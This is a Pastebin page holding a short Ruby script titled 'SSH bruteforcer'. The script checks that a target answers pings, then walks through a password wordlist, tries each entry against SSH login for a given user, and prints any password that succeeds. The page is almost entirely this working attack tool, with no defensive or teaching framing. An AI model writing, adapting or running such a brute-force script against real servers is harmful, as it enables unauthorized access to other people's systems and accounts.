Advertisement
Guest User

SSH bruteforcer

a guest
Oct 23rd, 2015
925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.13 KB | None | 0 0
  1. require 'net/ssh'
  2. require 'net/ping'
  3.  
  4. #Checking arguments and setting them into variables
  5. if ARGV.length != 3
  6.     puts "Please RTFM !"
  7.     exit
  8. end
  9.  
  10. target = ARGV[0]
  11. user = ARGV[1]
  12. wordlist_file=ARGV[2]
  13.  
  14. #Checking network connectivity is good enough (more than 3/5 pings)
  15. icmp = Net::Ping::ICMP.new(target)
  16.  
  17. network = 5.times.count do
  18.     icmp.ping
  19. end
  20.  
  21. unless network >= 3
  22.     abort "Network connectivity with the target seems poor, please check it then try again ! "
  23. end
  24.     puts "Connectivity with the target OK !"
  25.  
  26.  
  27.  
  28. #Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
  29. File.foreach(wordlist_file).with_index do |line, idx|
  30.     pass= line.chomp
  31.     print "\rtrying password number #{idx} : #{pass}"
  32.     begin
  33.         result1 = Net::SSH.start(target,
  34.                                 user,
  35.                                 :password => pass,
  36.                                 :auth_methods => ["password"],
  37.                                 :number_of_password_prompts => 0
  38.                                 )
  39.     rescue Net::SSH::AuthenticationFailed => auth
  40.     else
  41.         abort "\nThe password is #{pass}"
  42.        
  43.     end
  44. end
  45.  
  46. puts "\nThe password wasn't found in the list !"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement